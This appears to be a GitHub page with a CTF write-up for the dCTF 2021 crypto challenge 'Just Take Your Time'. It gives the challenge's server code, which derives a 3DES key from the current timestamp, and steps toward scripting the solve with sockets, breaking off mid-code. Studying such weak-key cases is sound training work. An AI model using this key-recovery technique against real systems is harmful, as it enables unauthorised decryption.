2.666 1.057 3.86.784 1.194 2.121 2.34 4.366 3.297a.2.2 0 00.154 0c2.245-.956 3.582-2.104 4.366-3.298C13.225 9.666 13.5 8.36 13.5 7V3.48a.25.25 0 00-.174-.237l-5.25-1.68zM9 10.5a1 1 0 11-2 0 1 1 0 012 0zm-.25-5.75a.75.75 0 10-1.5 0v3a.75.75 0 001.5 0v-3z"></path></svg> <span>Security</span> <include-fragment src="/ivanchubb/CTF-Writeups/security/overall-count" accept="text/fragment+html"></include-fragment> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-graph UnderlineNav-octicon d-none d-sm-inline"> <path fill-rule="evenodd" d="M1.5 1.75a.75.75 0 00-1.5 0v12.5c0 .414.336.75.75.75h14.5a.75.75 0 000-1.5H1.5V1.75zm14.28 2.53a.75.75 0 00-1.06-1.06L10 7.94 7.53 5.47a.75.75 0 00-1.06 0L3.22 8.72a.75.75 0 001.06 1.06L7 7.06l2.47 2.47a.75.75 0 001.06 0l5.25-5.25z"></path></svg> <span>Insights</span> <span></span> <div style="visibility:hidden;" data-view-component="true" class="UnderlineNav-actions js-responsive-underlinenav-overflow position-absolute pr-3 pr-md-4 pr-lg-5 right-0"> <details data-view-component="true" class="details-overlay details-reset position-relative"> <summary role="button" data-view-component="true"> <div class="UnderlineNav-item mr-0 border-0"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-kebab-horizontal"> <path d="M8 9a1.5 1.5 0 100-3 1.5 1.5 0 000 3zM1.5 9a1.5 1.5 0 100-3 1.5 1.5 0 000 3zm13 0a1.5 1.5 0 100-3 1.5 1.5 0 000 3z"></path></svg> <span>More</span> </div></summary> <div data-view-component="true"> <details-menu role="menu" data-view-component="true" class="dropdown-menu dropdown-menu-sw"> Code Issues Pull requests Actions Projects Wiki Security Insights </details-menu></div></details></div></nav> </div> <div class="clearfix new-discussion-timeline container-xl px-3 px-md-4 px-lg-5"> <div id="repo-content-pjax-container" class="repository-content " > <div> <div class="file-navigation mb-3 d-flex flex-items-start"> <div class="position-relative"> <details class="details-reset details-overlay mr-0 mb-0 " id="branch-select-menu"> <summary class="btn css-truncate" data-hotkey="w" title="Switch branches or tags"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-branch"> <path fill-rule="evenodd" d="M11.75 2.5a.75.75 0 100 1.5.75.75 0 000-1.5zm-2.25.75a2.25 2.25 0 113 2.122V6A2.5 2.5 0 0110 8.5H6a1 1 0 00-1 1v1.128a2.251 2.251 0 11-1.5 0V5.372a2.25 2.25 0 111.5 0v1.836A2.492 2.492 0 016 7h4a1 1 0 001-1v-.628A2.25 2.25 0 019.5 3.25zM4.25 12a.75.75 0 100 1.5.75.75 0 000-1.5zM3.5 3.25a.75.75 0 111.5 0 .75.75 0 01-1.5 0z"></path></svg> <span>main</span> <span></span> </summary> <div class="SelectMenu"> <div class="SelectMenu-modal"> <header class="SelectMenu-header"> <span>Switch branches/tags</span> <button class="SelectMenu-closeButton" type="button" data-toggle-for="branch-select-menu"><svg aria-label="Close menu" aria-hidden="false" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path fill-rule="evenodd" d="M3.72 3.72a.75.75 0 011.06 0L8 6.94l3.22-3.22a.75.75 0 111.06 1.06L9.06 8l3.22 3.22a.75.75 0 11-1.06 1.06L8 9.06l-3.22 3.22a.75.75 0 01-1.06-1.06L6.94 8 3.72 4.78a.75.75 0 010-1.06z"></path></svg></button> </header> <input-demux data-action="tab-container-change:input-demux#storeInput tab-container-changed:input-demux#updateInput"> <tab-container class="d-flex flex-column js-branches-tags-tabs" style="min-height: 0;"> <div class="SelectMenu-filter"> <input data-target="input-demux.source" id="context-commitish-filter-field" class="SelectMenu-input form-control" aria-owns="ref-list-branches" data-controls-ref-menu-id="ref-list-branches" autofocus autocomplete="off" aria-label="Filter branches/tags" placeholder="Filter branches/tags" type="text" > </div> <div class="SelectMenu-tabs" role="tablist" data-target="input-demux.control" > <button class="SelectMenu-tab" type="button" role="tab" aria-selected="true">Branches</button> <button class="SelectMenu-tab" type="button" role="tab">Tags</button> </div> <div role="tabpanel" id="ref-list-branches" data-filter-placeholder="Filter branches/tags" class="d-flex flex-column flex-auto overflow-auto" tabindex=""> <ref-selector type="branch" data-targets="input-demux.sinks" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " query-endpoint="/ivanchubb/CTF-Writeups/refs" cache-key="v0:1630077996.69185" current-committish="bWFpbg==" default-branch="bWFpbg==" name-with-owner="aXZhbmNodWJiL0NURi1Xcml0ZXVwcw==" prefetch-on-mouseover > <template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load branches</div> </template> <template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message">Nothing to show</div></template> <div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list " style="max-height: 330px" data-pjax="#repo-content-pjax-container"> <div class="SelectMenu-loading pt-3 pb-0" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div> <template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path fill-rule="evenodd" d="M13.78 4.22a.75.75 0 010 1.06l-7.25 7.25a.75.75 0 01-1.06 0L2.22 9.28a.75.75 0 011.06-1.06L6 10.94l6.72-6.72a.75.75 0 011.06 0z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template> <footer class="SelectMenu-footer">View all branches</footer> </ref-selector> </div> <div role="tabpanel" id="tags-menu" data-filter-placeholder="Find a tag" class="d-flex flex-column flex-auto overflow-auto" tabindex="" hidden> <ref-selector type="tag" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " data-targets="input-demux.sinks" query-endpoint="/ivanchubb/CTF-Writeups/refs" cache-key="v0:1630077996.69185" current-committish="bWFpbg==" default-branch="bWFpbg==" name-with-owner="aXZhbmNodWJiL0NURi1Xcml0ZXVwcw==" > <template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load tags</div> </template> <template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Nothing to show</div> </template> <template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path fill-rule="evenodd" d="M13.78 4.22a.75.75 0 010 1.06l-7.25 7.25a.75.75 0 01-1.06 0L2.22 9.28a.75.75 0 011.06-1.06L6 10.94l6.72-6.72a.75.75 0 011.06 0z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template> <div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list" style="max-height: 330px" data-pjax="#repo-content-pjax-container"> <div class="SelectMenu-loading pt-3 pb-0" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div> <footer class="SelectMenu-footer">View all tags</footer> </ref-selector> </div> </tab-container> </input-demux> </div></div> </details> </div> <div class="flex-1 mx-2 flex-self-center f4"> <div class="d-none d-sm-block"> <span><span><span>CTF-Writeups</span></span></span><span>/</span><span><span>2021</span></span><span>/</span>dCTF<span>/</span> </div> </div> <div class="d-flex"> Go to file </div> </div> <div class="f4 mt-3 mb-3 d-sm-none"><span><span><span>CTF-Writeups</span></span></span><span>/</span><span><span>2021</span></span><span>/</span>dCTF<span>/</span></div> <div class="Box mb-3"> <div class="Box-header position-relative"> <h2 class="sr-only">Latest commit</h2> <div class="js-details-container Details d-flex rounded-top-1 flex-items-center flex-wrap" data-issue-and-pr-hovercards-enabled> <include-fragment src="/ivanchubb/CTF-Writeups/tree-commit/24a55e8f215622492a39f1cd47aa9f76460a4864/2021/dCTF" class="d-flex flex-auto flex-items-center" aria-busy="true" aria-label="Loading latest commit"> <div class="Skeleton avatar avatar-user flex-shrink-0 ml-n1 mr-n1 mt-n1 mb-n1" style="width:24px;height:24px;"></div> <div class="Skeleton Skeleton--text col-5 ml-3"> </div></include-fragment> <div class="flex-shrink-0"> <h2 class="sr-only">Git stats</h2> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-history"> <path fill-rule="evenodd" d="M1.643 3.143L.427 1.927A.25.25 0 000 2.104V5.75c0 .138.112.25.25.25h3.646a.25.25 0 00.177-.427L2.715 4.215a6.5 6.5 0 11-1.18 4.458.75.75 0 10-1.493.154 8.001 8.001 0 101.6-5.684zM7.75 4a.75.75 0 01.75.75v2.992l2.028.812a.75.75 0 01-.557 1.392l-2.5-1A.75.75 0 017 8.25v-3.5A.75.75 0 017.75 4z"></path></svg> <span> History </span> </div> </div> </div> <h2 id="files" class="sr-only">Files</h2> <include-fragment src="/ivanchubb/CTF-Writeups/file-list/main/2021/dCTF"> Permalink <div data-view-component="true" class="include-fragment-error flash flash-error flash-full py-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path fill-rule="evenodd" d="M8.22 1.754a.25.25 0 00-.44 0L1.698 13.132a.25.25 0 00.22.368h12.164a.25.25 0 00.22-.368L8.22 1.754zm-1.763-.707c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0114.082 15H1.918a1.75 1.75 0 01-1.543-2.575L6.457 1.047zM9 11a1 1 0 11-2 0 1 1 0 012 0zm-.25-5.25a.75.75 0 00-1.5 0v2.5a.75.75 0 001.5 0v-2.5z"></path></svg> Failed to load latest commit information. </div> <div class="js-details-container Details"> <div role="grid" aria-labelledby="files" class="Details-content--hidden-not-important js-navigation-container js-active-navigation-container d-block" data-pjax> <div class="sr-only" role="row"> <div role="columnheader">Type</div> <div role="columnheader">Name</div> <div role="columnheader" class="d-none d-md-block">Latest commit message</div> <div role="columnheader">Commit time</div> </div> <div role="row" class="Box-row Box-row--focus-gray p-0 d-flex js-navigation-item" > <div role="rowheader" class="flex-auto min-width-0 col-md-2"> <span>. .</span> </div> <div role="gridcell" class="d-none d-md-block"></div> <div role="gridcell"></div> </div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-icon-tertiary"> <path fill-rule="evenodd" d="M3.75 1.5a.25.25 0 00-.25.25v11.5c0 .138.112.25.25.25h8.5a.25.25 0 00.25-.25V6H9.75A1.75 1.75 0 018 4.25V1.5H3.75zm5.75.56v2.19c0 .138.112.25.25.25h2.19L9.5 2.06zM2 1.75C2 .784 2.784 0 3.75 0h5.086c.464 0 .909.184 1.237.513l3.414 3.414c.329.328.513.773.513 1.237v8.086A1.75 1.75 0 0112.25 15h-8.5A1.75 1.75 0 012 13.25V1.75z"></path></svg> </div> <div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>0. Readme.md</span> </div> <div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div> <div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div> </div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-icon-tertiary"> <path fill-rule="evenodd" d="M3.75 1.5a.25.25 0 00-.25.25v11.5c0 .138.112.25.25.25h8.5a.25.25 0 00.25-.25V6H9.75A1.75 1.75 0 018 4.25V1.5H3.75zm5.75.56v2.19c0 .138.112.25.25.25h2.19L9.5 2.06zM2 1.75C2 .784 2.784 0 3.75 0h5.086c.464 0 .909.184 1.237.513l3.414 3.414c.329.328.513.773.513 1.237v8.086A1.75 1.75 0 0112.25 15h-8.5A1.75 1.75 0 012 13.25V1.75z"></path></svg> </div> <div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>Dragon.txt</span> </div> <div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div> <div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div> </div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-icon-tertiary"> <path fill-rule="evenodd" d="M3.75 1.5a.25.25 0 00-.25.25v11.5c0 .138.112.25.25.25h8.5a.25.25 0 00.25-.25V6H9.75A1.75 1.75 0 018 4.25V1.5H3.75zm5.75.56v2.19c0 .138.112.25.25.25h2.19L9.5 2.06zM2 1.75C2 .784 2.784 0 3.75 0h5.086c.464 0 .909.184 1.237.513l3.414 3.414c.329.328.513.773.513 1.237v8.086A1.75 1.75 0 0112.25 15h-8.5A1.75 1.75 0 012 13.25V1.75z"></path></svg> </div> <div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>Encrypted the flag i have.txt</span> </div> <div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div> <div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div> </div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-icon-tertiary"> <path fill-rule="evenodd" d="M3.75 1.5a.25.25 0 00-.25.25v11.5c0 .138.112.25.25.25h8.5a.25.25 0 00.25-.25V6H9.75A1.75 1.75 0 018 4.25V1.5H3.75zm5.75.56v2.19c0 .138.112.25.25.25h2.19L9.5 2.06zM2 1.75C2 .784 2.784 0 3.75 0h5.086c.464 0 .909.184 1.237.513l3.414 3.414c.329.328.513.773.513 1.237v8.086A1.75 1.75 0 0112.25 15h-8.5A1.75 1.75 0 012 13.25V1.75z"></path></svg> </div> <div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>Julius ancient script.txt</span> </div> <div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div> <div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div> </div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-icon-tertiary"> <path fill-rule="evenodd" d="M3.75 1.5a.25.25 0 00-.25.25v11.5c0 .138.112.25.25.25h8.5a.25.25 0 00.25-.25V6H9.75A1.75 1.75 0 018 4.25V1.5H3.75zm5.75.56v2.19c0 .138.112.25.25.25h2.19L9.5 2.06zM2 1.75C2 .784 2.784 0 3.75 0h5.086c.464 0 .909.184 1.237.513l3.414 3.414c.329.328.513.773.513 1.237v8.086A1.75 1.75 0 0112.25 15h-8.5A1.75 1.75 0 012 13.25V1.75z"></path></svg> </div> <div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>Sanity Check.txt</span> </div> <div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div> <div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div> </div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-icon-tertiary"> <path fill-rule="evenodd" d="M3.75 1.5a.25.25 0 00-.25.25v11.5c0 .138.112.25.25.25h8.5a.25.25 0 00.25-.25V6H9.75A1.75 1.75 0 018 4.25V1.5H3.75zm5.75.56v2.19c0 .138.112.25.25.25h2.19L9.5 2.06zM2 1.75C2 .784 2.784 0 3.75 0h5.086c.464 0 .909.184 1.237.513l3.414 3.414c.329.328.513.773.513 1.237v8.086A1.75 1.75 0 0112.25 15h-8.5A1.75 1.75 0 012 13.25V1.75z"></path></svg> </div> <div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>Simple Web.txt</span> </div> <div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div> <div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div> </div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-icon-tertiary"> <path fill-rule="evenodd" d="M3.75 1.5a.25.25 0 00-.25.25v11.5c0 .138.112.25.25.25h8.5a.25.25 0 00.25-.25V6H9.75A1.75 1.75 0 018 4.25V1.5H3.75zm5.75.56v2.19c0 .138.112.25.25.25h2.19L9.5 2.06zM2 1.75C2 .784 2.784 0 3.75 0h5.086c.464 0 .909.184 1.237.513l3.414 3.414c.329.328.513.773.513 1.237v8.086A1.75 1.75 0 0112.25 15h-8.5A1.75 1.75 0 012 13.25V1.75z"></path></svg> </div> <div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>Strong Password.txt</span> </div> <div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div> <div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div> </div> </div> </div> </include-fragment> </div> </div> </div></div> </main> </div> </div> <div class="footer container-xl width-full p-responsive" role="contentinfo"> <div class="position-relative d-flex flex-row-reverse flex-lg-row flex-wrap flex-lg-nowrap flex-justify-center flex-lg-justify-between pt-6 pb-2 mt-6 f6 color-fg-muted border-top color-border-muted "> © 2021 GitHub, Inc. Terms Privacy Security Status Docs <svg aria-hidden="true" height="24" viewBox="0 0 16 16" version="1.1" width="24" data-view-component="true" class="octicon octicon-mark-github"> <path fill-rule="evenodd" d="M8 0C3.58 0 0 3.58 0 8c0 3.54 2.29 6.53 5.47 7.59.4.07.55-.17.55-.38 0-.19-.01-.82-.01-1.49-2.01.37-2.53-.49-2.69-.94-.09-.23-.48-.94-.82-1.13-.28-.15-.68-.52-.01-.53.63-.01 1.08.58 1.23.82.72 1.21 1.87.87 2.33.66.07-.52.28-.87.51-1.07-1.78-.2-3.64-.89-3.64-3.95 0-.87.31-1.59.82-2.15-.08-.2-.36-1.02.08-2.12 0 0 .67-.21 2.2.82.64-.18 1.32-.27 2-.27.68 0 1.36.09 2 .27 1.53-1.04 2.2-.82 2.2-.82.44 1.1.16 1.92.08 2.12.51.56.82 1.27.82 2.15 0 3.07-1.87 3.75-3.65 3.95.29.25.54.73.54 1.48 0 1.07-.01 1.93-.01 2.2 0 .21.15.46.55.38A8.013 8.013 0 0016 8c0-4.42-3.58-8-8-8z"></path></svg> Contact GitHub Pricing API Training Blog About </div> <div class="d-flex flex-justify-center pb-6"> <span></span> </div></div> <div id="ajax-error-message" class="ajax-error-message flash flash-error" hidden> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path fill-rule="evenodd" d="M8.22 1.754a.25.25 0 00-.44 0L1.698 13.132a.25.25 0 00.22.368h12.164a.25.25 0 00.22-.368L8.22 1.754zm-1.763-.707c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0114.082 15H1.918a1.75 1.75 0 01-1.543-2.575L6.457 1.047zM9 11a1 1 0 11-2 0 1 1 0 012 0zm-.25-5.25a.75.75 0 00-1.5 0v2.5a.75.75 0 001.5 0v-2.5z"></path></svg> <button type="button" class="flash-close js-ajax-error-dismiss" aria-label="Dismiss error"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path fill-rule="evenodd" d="M3.72 3.72a.75.75 0 011.06 0L8 6.94l3.22-3.22a.75.75 0 111.06 1.06L9.06 8l3.22 3.22a.75.75 0 11-1.06 1.06L8 9.06l-3.22 3.22a.75.75 0 01-1.06-1.06L6.94 8 3.72 4.78a.75.75 0 010-1.06z"></path></svg> </button> You can’t perform that action at this time. </div> <div class="js-stale-session-flash flash flash-warn flash-banner" hidden > <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path fill-rule="evenodd" d="M8.22 1.754a.25.25 0 00-.44 0L1.698 13.132a.25.25 0 00.22.368h12.164a.25.25 0 00.22-.368L8.22 1.754zm-1.763-.707c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0114.082 15H1.918a1.75 1.75 0 01-1.543-2.575L6.457 1.047zM9 11a1 1 0 11-2 0 1 1 0 012 0zm-.25-5.25a.75.75 0 00-1.5 0v2.5a.75.75 0 001.5 0v-2.5z"></path></svg> <span>You signed in with another tab or window. Reload to refresh your session.</span> <span>You signed out in another tab or window. Reload to refresh your session.</span> </div> <template id="site-details-dialog"> <details class="details-reset details-overlay details-overlay-dark lh-default color-fg-default hx_rsm" open> <summary role="button" aria-label="Close dialog"></summary> <details-dialog class="Box Box--overlay d-flex flex-column anim-fade-in fast hx_rsm-dialog hx_rsm-modal"> <button class="Box-btn-octicon m-0 btn-octicon position-absolute right-0 top-0" type="button" aria-label="Close dialog" data-close-dialog> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path fill-rule="evenodd" d="M3.72 3.72a.75.75 0 011.06 0L8 6.94l3.22-3.22a.75.75 0 111.06 1.06L9.06 8l3.22 3.22a.75.75 0 11-1.06 1.06L8 9.06l-3.22 3.22a.75.75 0 01-1.06-1.06L6.94 8 3.72 4.78a.75.75 0 010-1.06z"></path></svg> </button> <div class="octocat-spinner my-6 js-details-dialog-spinner"></div> </details-dialog> </details></template> <div class="Popover js-hovercard-content position-absolute" style="display: none; outline: none;" tabindex="0"> <div class="Popover-message Popover-message--bottom-left Popover-message--large Box color-shadow-large" style="width:360px;"> </div></div> <template id="snippet-clipboard-copy-button"> <div class="zeroclipboard-container position-absolute right-0 top-0"> <clipboard-copy aria-label="Copy" class="ClipboardButton btn js-clipboard-copy m-2 p-0 tooltipped-no-delay" data-copy-feedback="Copied!" data-tooltip-direction="w"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-copy js-clipboard-copy-icon m-2"> <path fill-rule="evenodd" d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 010 1.5h-1.5a.25.25 0 00-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 00.25-.25v-1.5a.75.75 0 011.5 0v1.5A1.75 1.75 0 019.25 16h-7.5A1.75 1.75 0 010 14.25v-7.5z"></path><path fill-rule="evenodd" d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0114.25 11h-7.5A1.75 1.75 0 015 9.25v-7.5zm1.75-.25a.25.25 0 00-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 00.25-.25v-7.5a.25.25 0 00-.25-.25h-7.5z"></path></svg> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check js-clipboard-check-icon color-text-success d-none m-2"> <path fill-rule="evenodd" d="M13.78 4.22a.75.75 0 010 1.06l-7.25 7.25a.75.75 0 01-1.06 0L2.22 9.28a.75.75 0 011.06-1.06L6 10.94l6.72-6.72a.75.75 0 011.06 0z"></path></svg> </clipboard-copy> </div></template> </body></html>
# Solution for dCTF 2021 Challenge "Just Take Your Time" (Crypto)## Challenge Description Let's go. In and out. 2 second adventure.```nc dctf-chall-just-take-your-time.westeurope.azurecontainer.io 9999```While this may not be pwn, its tools may still be quite handy. ### Provided Python Code```#!/usr/bin python3 from flag import flagfrom Crypto.Cipher import DES3from time import timefrom random import randintfrom secrets import token_hexfrom pytimedinput import timedInput guess = 3TIMEOUT = 1 a = randint(1000000000000000, 9999999999999999)b = randint(1000000000000000, 9999999999999999) print("Show me you are worthy and solve for x! You have one second.")print("{} * {} = ".format(a, b)) answ, _ = timedInput("> ", timeOut = 1, forcedTimeout = True) try: assert(ab == int(answ))except: print("You are not worthy!") exit(1) key = str(int(time())).zfill(16).encode("utf-8")secret = token_hex(16)cipher = DES3.new(key, DES3.MODE_CFB, b"00000000")encrypted = cipher.encrypt(secret.encode("utf-8"))print("You have proven yourself to be capable of taking on the final task. Decrypt this and the flag shall be yours!")print(encrypted.hex()) start_time = time()while(time() - start_time < TIMEOUT and guess > 0): delta = time() - start_time answ, _ = timedInput("> ", timeOut = TIMEOUT + 1 - delta, forcedTimeout = True) try: assert(secret == answ) break except: if answ != "": guess -= 1 if (guess != 1): print("You are wrong. {} guesses remain.".format(guess)) else: print("You are wrong. {} guess remains.".format(guess)) if (secret != answ): print("You have been unsuccessful in your quest for the flag.")else: print("Congratulations! Here is your flag.") print(flag)```## Solution OverviewTo solve this challenge, we need 3 steps: 1. Write code for network service interaction: read from remote, and send data as a response.2. Add code to calculate multiplication result from the intercepted numbers (solve task 1)3. Add code to decrypt the ciphertext with 3DES (CFB mode, IV=b"00000000") and a timestamp-based key (solve task 2) Due to a time-out condition, we need to automate the response by writing a script. Before starting to code the script, lets look at the tasks separately to fully understand each. Language choice: Python3 This way we can re-use code fragments provided with the challenge. ### 1. Network Service Interaction - Connect to remote service and parse output The manual network connection test: ```fm@NUC7:~$ nc dctf-chall-just-take-your-time.westeurope.azurecontainer.io 9999Show me you are worthy and solve for x! You have one second.3431802513119313 8053949562118619 => You are not worthy!```Now we do the same under Python: ```fm@NUC7:~$ python3Python 3.8.5 (default, Jan 27 2021, 15:41:15)>>> import socket>>> remotehost = "dctf-chall-just-take-your-time.westeurope.azurecontainer.io">>> remoteport = 9999>>> s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)>>> connect = s.connect((remotehost, remoteport))>>> remoteout = str(s.recv(1024).decode("utf-8"))>>> remotelines = remoteout.splitlines();>>> print(remotelines[1])7030601571755451 * 1909787585147146 =``` ### 2. Solve the first service challenge - Multiply two random 16-digit numbers ```fm@NUC7:~$ python3Python 3.8.5 (default, Jan 27 2021, 15:41:15)[GCC 9.3.0] on linuxType "help", "copyright", "credits" or "license" for more information.>>> from random import randint>>> a = randint(1000000000000000, 9999999999999999)>>> b = randint(1000000000000000, 9999999999999999)>>> print("{} * {} = ".format(a, b))3748747587965172 * 1830956562823976 =```To resolve, we simply multiply and return it: ```>>> ab6863793998555381943399854563872``` ### 3. Decrypt the service ciphertext Per challenge code, a 16-char key string is generated, containing the current timestamp prefixed with zeros. ```fm@NUC7:~$ python3Python 3.8.5 (default, Jan 27 2021, 15:41:15)>>> from time import time>>> key = str(int(time())).zfill(16).encode("utf-8")>>> print(key)b'0000001621051737'```A random 16-char text string is generated, displayed in hexadecimal. ```fm@NUC7:~$ python3Python 3.8.5 (default, Jan 27 2021, 15:41:15)>>> from secrets import token_hex>>> secret = token_hex(16)>>> print(secret)bb775e5e11abc3ea28967061fc1957f1```The random secret string gets Triple-DES encrypted in CFB mode, using the timestamp key. CFB mode turns the block cipher into a stream cipher. Each byte of plaintext is XOR-ed with a byte taken from a keystream: the result is the ciphertext. IV is set to b"00000000". ```fm@NUC7:~$ python3Python 3.8.5 (default, Jan 27 2021, 15:41:15)>>> from Crypto.Cipher import DES3>>> cipher = DES3.new(key, DES3.MODE_CFB, b"00000000")>>> encrypted = cipher.encrypt(secret.encode("utf-8"))>>> 